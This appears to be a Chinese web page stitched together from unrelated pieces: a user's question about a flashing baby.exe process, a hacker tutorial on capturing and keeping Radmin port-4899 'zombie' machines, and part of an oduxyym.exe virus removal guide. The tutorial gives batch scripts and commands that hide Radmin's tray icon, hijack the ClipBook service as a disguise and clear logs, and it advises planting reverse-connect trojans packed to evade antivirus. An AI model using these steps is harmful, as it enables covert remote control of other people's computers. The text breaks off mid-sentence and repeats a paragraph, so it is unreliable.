系統(tǒng)啟動時(shí)加載的程序

2019-09-10 09:09:18

字體：大中小

供稿：網(wǎng)友

很是奇怪,我啟動系統(tǒng)的時(shí)候,一進(jìn)windows視窗的時(shí)候,馬上開任務(wù)管理器,會看到一個(gè)baby.exe的程序閃一下就沒了,搜索文件(包括隱藏文件和系統(tǒng)文件)沒有發(fā)現(xiàn)有次程序用任何看開機(jī)啟動項(xiàng)目的軟件也都沒發(fā)現(xiàn)有這個(gè)程序(注冊表和msconfig里直接看開機(jī)項(xiàng)目也沒有),用了AVG Anti-Spyware和卡巴掃描系統(tǒng)分區(qū)也沒有發(fā)現(xiàn)任何病毒和木馬.但是就是每次開機(jī),包括重啟,馬上開任務(wù)管理器看就有此程序閃下就沒. 有無高手告訴我該如何找出并且刪除4899肉雞對于4899肉雞,相信大家都不會陌生吧。Radmin遠(yuǎn)程控制軟件最大的優(yōu)點(diǎn)就是功能齊全，便于操作，能夠躲避一些軟件的查殺。實(shí)在是居家旅行，殺人滅口，絕好武器。那么……有的朋友要問了多么好的寶馬良駒在哪里可以找到??？問的好，各大黑客網(wǎng)站均能下載，童叟無欺啊！第一章 4899空口令肉雞爭奪戰(zhàn) 4899空口令肉雞是由一些超級菜鳥們用Windows NT/2000 自動攻擊探測機(jī)對他感興趣的某段IP細(xì)心的，無微不至的掃描孕育而生的~~~(鼓掌,有請我們今天的主角,4899空口令肉雞隆重登場,哎呀,誰拿西紅柿扔我?忒不講公德呢?扔也不扔個(gè)紅的，綠的怎么吃啊?) 既然4899空口令肉雞這個(gè)多，那么偶就先從它的由來說起吧！Windows NT/2000 自動攻擊探測機(jī) 這款掃描軟件不但集成了掃描器的特點(diǎn)，還添加了一些漏洞的利用功能。它能夠?qū)呙璩鯥IS溢出的，弱口令的和SA空口令的電腦上傳并安裝遠(yuǎn)程圖形控制軟件Radmin，即把R_Server.exe，AdmDll.dll和raddrv.dll這三個(gè)文件上傳到其電腦系統(tǒng)跟目錄%systemroot%/system32子目錄下，并行運(yùn)行R_Server.exe可執(zhí)行文件。由于遠(yuǎn)程上傳的Radmin沒有經(jīng)過配置，因此在對方機(jī)子的任務(wù)欄里出現(xiàn)了Radmin 服務(wù)程序的托盤(如圖1-1)。這樣不就成個(gè)此地?zé)o銀三百兩，機(jī)器的主人一定能發(fā)現(xiàn)這個(gè)不正常的托盤。我想他第一個(gè)動作就是把鼠標(biāo)移動到托盤位置，一點(diǎn)就顯示出了有某某IP正在連接本機(jī)。如果是個(gè)只知道上網(wǎng)聊天的MM她第一個(gè)動作就是把網(wǎng)斷了，逃過別人的控制再說。如果是個(gè)有經(jīng)驗(yàn)的老鳥那么各位就要小心了，他會通過顯示出的IP查到你的電腦或者你用來掃描的肉雞，這樣就大大的不妙了。所以了，這個(gè)托盤的隱藏是非常必要和急切的。在做我們的工作之前，要做好一些準(zhǔn)備活動。首先把4899空口令肉雞設(shè)置上密碼，在Radmin的CMD控件下輸入命令r_ server.exe /port:520 /pass:hackbase /save /silence。有些同僚總是抱怨這個(gè)命令不好用，我看過他們出問題的動畫。無論是在CMD命令下或者在"運(yùn)行"下輸入這個(gè)命令都是正確的，而他們出錯的原因就是沒有添加參數(shù)"/save"保存，和參數(shù)"/silence"后臺安裝。這樣設(shè)置好連接端口和密碼，同道中人就算用"4899空口令掃描器"掃到你做的肉雞也晚了，偶已經(jīng)添加過密碼了，而端口在肉雞重起后能夠修改成功。接下來我們就要把一個(gè)反彈木馬放到肉雞上，以免對方是動態(tài)IP，肉雞就飛掉了。這里我們可以用灰鴿子VIP或黑洞2004 這兩個(gè)反彈木馬都很不錯的哦~~~。順便說一句您的木馬一定要做過特征碼修改或者加殼啊，這樣能夠躲避對方殺毒軟件的查殺。在這里再說句題外話對木馬加殼不是加的殼越多就越安全的，這樣大家就走入了多加殼的誤區(qū)。這樣不但不能躲過殺毒軟件的查殺，還有可能使木馬的功能受到影響。對喜歡加殼躲殺毒軟件的朋友偶建議下先把木馬脫殼，然后再加個(gè)不知名的殼（ASPack, UPX這些加殼軟件的殼已經(jīng)被有些殺毒軟件列入黑客程序列表了），然后在用幾款世面流行的殺毒軟件在本地機(jī)器事先做個(gè)放殺毒檢測。這樣的黑客程序才是我們的殺手锏。前期工作制作完畢后，您就可以耐心的工作了。為了做到隱藏托盤的目的，偶想了兩個(gè)辦法：第一，在您的機(jī)器上事先安裝并配置好Radmin，把注冊表中的HKEY_LOCAL_MACHINE/SYSTEM/RAdmin導(dǎo)出為radmin.reg，這個(gè)就是絕對符合您意愿的Radmin配置，把radmin.reg上傳到對方機(jī)器輸入命令regedit /s radmin.reg。這樣在機(jī)器重起或者您幫助他重起Radmin服務(wù)的時(shí)候，任務(wù)欄里的Radmin托盤就消失了。第二，寫個(gè)批處理文件重新調(diào)整Radmin配置。批處理文件內(nèi)容如下： @echo off @r_server.exe /port:520 /pass:hackbase /save /silence echo Windows Registry Editor Version 5.00 >ftp.reg echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters] >>ftp.reg echo "DisableTrayIcon"=hex:01,00,00,00 >>ftp.reg regedit /s ftp.reg del ftp.reg 到這里菜鳥的"保雞"反擊戰(zhàn)已經(jīng)告一段落。剛才我們不是還放了個(gè)灰鴿子嗎，這樣這臺肉雞上就有我們的兩匹寶馬良駒了。小樣讓你跑，還是逃不出如來佛的掌心吧！呵呵，我得意的笑~~~ 在長期的摸索研究工作中，偶發(fā)現(xiàn)個(gè)Windows NT/2000 自動攻擊探測機(jī)的小BUG。等偶慢慢道來，各位看官聽仔細(xì)啊。Radmin 3.0影子版的客戶端是Radmin公司開發(fā)的，而服務(wù)端程序缺因?yàn)榉N種原因，沒有和各位見面。有的說是Radmin公司在開發(fā)新的功能，服務(wù)端沒有開發(fā)完；有的說Radmin公司現(xiàn)在只對付費(fèi)用戶提供服務(wù)端，這些偶就不得而知了?？墒俏覀兙磹鄣挠白訛槲覀冎圃斐隽?Radmin 3.0服務(wù)端"其本質(zhì)就是2.0 版本的部分修改，對其圖標(biāo)做了修改和加殼處理?？墒窃跐h化過程中，不知道什么原因，它在任務(wù)欄里的Radmin托盤變成了一個(gè)空白的地方，要是不注意是看不出來的（如圖1-2、1-3）。所以了，我們在運(yùn)行Windows NT/2000 自動攻擊探測機(jī)掃描機(jī)子的時(shí)候，把它同目錄下釋放出來的R_Server.exe，替換成 3.0版本的R_Server.exe。這樣掃描出來上傳圖形控制軟件的機(jī)器，在其任務(wù)欄里就出現(xiàn)了一個(gè)空白的地方。當(dāng)把鼠標(biāo)點(diǎn)到上面的時(shí)候也沒有了某某IP正在連接的提示，這樣就欺騙了一些機(jī)主。呵呵，旁門左道大家不要見笑啊?？墒沁@個(gè)小BUG啟發(fā)了我的另一個(gè)思路，就是把我們的Radmin.exe自動運(yùn)行的配置包重命名為R_Server.exe，然后替換掉R_Server.exe，我們不就有了所以自己的機(jī)子了嗎？好，說干就干。把我的Radmin自解壓包替換掉R_Server.exe，可是這回 Windows NT/2000 自動攻擊探測機(jī)就沒有了上傳成功的小提示。（如圖： 1-4）（廣告過后更精彩）我一直對這個(gè)驗(yàn)證方法不甚了解，想找作者問問，可是他老人家還換QQ了。哪位高手有高見，請不吝賜教，偶的QQ：9500142。言歸正傳，那也難不倒我，我們把掃描出來有漏洞的所有IP復(fù)制到一個(gè)文本文件中，用superscan導(dǎo)入IP列表，掃描我設(shè)置Radmin服務(wù)的端口，這樣被我上傳Radmin的機(jī)器就都上門報(bào)道了。Yeah!（如圖：1-5）第二章 Radmin 服務(wù)端高級配置既然我們對Radmin這么情有獨(dú)鐘，那么我們就要打造不死系的超級后門木馬。具推斷當(dāng)前安裝過 Radmin控制軟件的肉雞占安全性低級的電腦的80%左右，所以我們上傳木馬之前，要把其系統(tǒng)中可能存在的Radmin服務(wù)停止掉，替換成我們的服務(wù)為己所用。絕大部分的安裝Radmin的肉雞都是用的R_Server.exe程序?？墒欠N植的原始情況分為兩種：第一就如上面所說那樣，是用Windows NT/2000 自動攻擊探測機(jī)上傳安裝的，其安裝服務(wù)的名稱為"radmm"。啟動和停止該服務(wù)的命令分別為"net start radmm"和"net stop radmm"。第二一些喜歡偷懶的朋友，把自己的Radmin是默認(rèn)的R_Server.exe程序，其安裝服務(wù)的名稱為"Remote Administrator Service"。啟動和停止該服務(wù)的命令分別為"net start r_server"和"net stop r_server"。偶發(fā)現(xiàn)一個(gè)對付這兩種配置的小竅門，就是可以用"r_server.exe /start"和"r_ server.exe /stop"啟動和停止服務(wù)，然后我們在替換為自己的配置。 Follow Me！對配置Radmin自解壓程序的，我有兩個(gè)思路可供大家參詳，希望對您能配置能夠有所啟發(fā)和幫助. 第一就是替換系統(tǒng) 服務(wù)的方法。如果您對Windows系統(tǒng)服務(wù)的工作機(jī)理不甚了解，那么請?zhí)^這里，看接下來的第二種配置. 1、編寫一個(gè)批處理文件，命名為 first.bat -------------------------------------------- @echo off r_server.exe /stop -------------------------------------------- 這樣做是假定肉雞上已經(jīng)由黑友安裝過Radmin服務(wù)，殺無赦。 2、接下來我拿系統(tǒng)的ClipBook服務(wù)開刀做下替換。編寫一個(gè)批處理文件，命名為baby.bat -------------------------------------------- @echo off @sc stop ClipBook @sc delete ClipBook @sc stop r_server @del %systemroot%/system32/AdmDll.dll @del %systemroot%/system32/raddrv.dll @del %systemroot%/system32/R_Server.exe @del %systemroot%/system32/dllcache /ClipSrv.exe @del %systemroot%/system32/ClipSrv.exe @copy %systemroot%/system32/Setup/ClipSrv.exe %systemroot% /system32/ClipSrv.exe @copy %systemroot%/system32/Setup/raddrv.dll %systemroot%/system32/raddrv.dll @copy % systemroot%/system32/Setup/AdmDll.dll %systemroot%/system32/AdmDll.dll @ClipSrv.exe /install /silence @regedit /s radmin.reg @regedit /s server.reg @sc config ClipBook start=auto @sc start ClipBook @sc delete r_server @del radmin.reg @del server.reg @del sc.exe @clss.exe @cls @del baby.exe @shutdown.exe -f -r @del first.bat @del baby.bat @del clss.exe @del shutdown.exe -------------------------------------------- Radmin.reg 注冊表文件時(shí)服務(wù)配置,Sc是微軟服務(wù)修改程序(比爾其實(shí)對我們還滿不錯的哦，嘿嘿)，clss.exe是日志清除工具(大家要養(yǎng)成勤掃地的習(xí)慣噢！)，shutdown.exe是關(guān)機(jī)程序,這個(gè)程序無關(guān)緊要，關(guān)鍵看您的性子怎么樣了（急性子的黑友建議使用）。Server.reg就是ClipBook服務(wù)的描述信息了，要偽裝當(dāng)然要做的夠?qū)I(yè)啊。 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/ClipSrv] "Description"="啟用"剪貼簿查看器"儲存信息并與遠(yuǎn)程計(jì)算機(jī)共享。如果此服務(wù)終止，"剪貼簿查看器" 將無法與遠(yuǎn)程計(jì)算機(jī)共享信息。如果此服務(wù)被禁用，任何依賴它的服務(wù)將無法啟動。" "DisplayName"="ClipBook" 上面的信息是由原ClipBook服務(wù) 所對應(yīng)的注冊表鍵值 [HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/ClipSrv] 提取出來的。因?yàn)榉种О瞬糠蛛娔X路徑和安全信息，每個(gè)電腦都有些許區(qū)別，所以把精煉的東西提取出來做為我們的偽裝信息。然后，把我們所用到的工具、注冊表文件、批處理文件打包。配置RAR高級自解壓格式所選項(xiàng)嘀時(shí)候，注意那個(gè)解壓路徑寫成%systemroot%/system32/Setup這個(gè)目錄直接看對oduxyym.exe病毒的手工清除方法：最近出現(xiàn)了一種病毒，極其討厭，通過映像劫持技術(shù)和雙進(jìn)程技術(shù)是機(jī)器幾乎無法工作。大概現(xiàn)象為：　　運(yùn)行很多程序都無法啟動，觀察系統(tǒng)進(jìn)程只是多了oduxyym.exe veckdld.exe兩個(gè)進(jìn)程。這時(shí)候，你就種病毒了，建議在進(jìn)行修復(fù)操作前關(guān)閉其他所有的無關(guān)程序，斷開網(wǎng)絡(luò)連接，并建議將以下內(nèi)容復(fù)制粘貼到記事本保存后以便操作。　　首先：我們斷開網(wǎng)絡(luò)第一件事就是打開任務(wù)管理器，關(guān)閉多余的進(jìn)程，XP一般只剩18個(gè)進(jìn)程為正常，其他多余的所有進(jìn)程需要關(guān)閉，oduxyym.exe veckdld.exe這兩個(gè)進(jìn)程關(guān)閉不了的時(shí)候，可以通過關(guān)閉EXPLROR .EXE后將看不到桌面，沒關(guān)系，這時(shí)即可將oduxyym.exe veckdld.exe兩個(gè)進(jìn)程結(jié)束，然后再通過任務(wù)管理器的：文件-新建任務(wù)，打開C:/WINDOWS/EXPLROR.EXE，即可看到桌面，這時(shí)候就好辦了，就是麻煩點(diǎn)。開始-運(yùn)行：regedit回車，進(jìn)入注冊表：　　[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RUN]將下列啟動項(xiàng)刪除： C:/WINDOWS/system32/.exe（默認(rèn)，將此項(xiàng)清除即可） C:/WINDOWS/system32/oduxyym.exe（整字符串刪除） C:/WINDOWS/system32/veckdld.exe（整字符串刪除） C:/WINDOWS/system32/svpecld.exe（整字符串刪除）然后，看到啟動項(xiàng)差不多干凈之后，再查看映像劫持下面的東東　　打開注冊表的：[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options]下面查看所有的*.exe的所有項(xiàng)，如果右邊的值為：C:/WINDOWS/system32/oduxyym.exe的，請將整項(xiàng)刪除（你會發(fā)現(xiàn)會有很多很多，慢慢的操作，細(xì)心點(diǎn)，別誤操作），做完上邊的工作，你就可以重啟機(jī)器了，重啟后進(jìn)安全模式，將下面的命令以記事本另存為.bat的文件，雙擊運(yùn)行即可清理系統(tǒng)中的病毒文件。然后，看到啟動項(xiàng)差不多干凈之后，再查看映像劫持下面的東東　　打開注冊表的：[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options]下面查看所有的*.exe的所有項(xiàng)，如果右邊的值為：C:/WINDOWS/system32/oduxyym.exe的，請將整項(xiàng)刪除（你會發(fā)現(xiàn)會有很多很多，慢慢的操作，細(xì)心點(diǎn)，別誤操作），做完上邊的工作，你就可以重啟機(jī)器了，重啟后進(jìn)安全模式，的文件，雙擊運(yùn)行即可清理系統(tǒng)中的病毒文件。將上面的步驟做完后，重啟機(jī)器，升級殺軟全盤殺毒，卸載重新安裝ＱＱ，下載Windows清理助手升級更新后清理系統(tǒng)： http://www.arswp.com/download/arswp/arswp.rar 　　另外，最近用USB設(shè)備傳播的病毒越來越多,建議關(guān)閉自動播放功能,用一些工具進(jìn)行免疫. 使用USB設(shè)備前先殺毒下面是oduxyym病毒清除工具：附件：oduxyym病毒清除.bat

上一篇：液晶顯示器的保養(yǎng)技巧

下一篇：ICHATX.EXE是什么意思？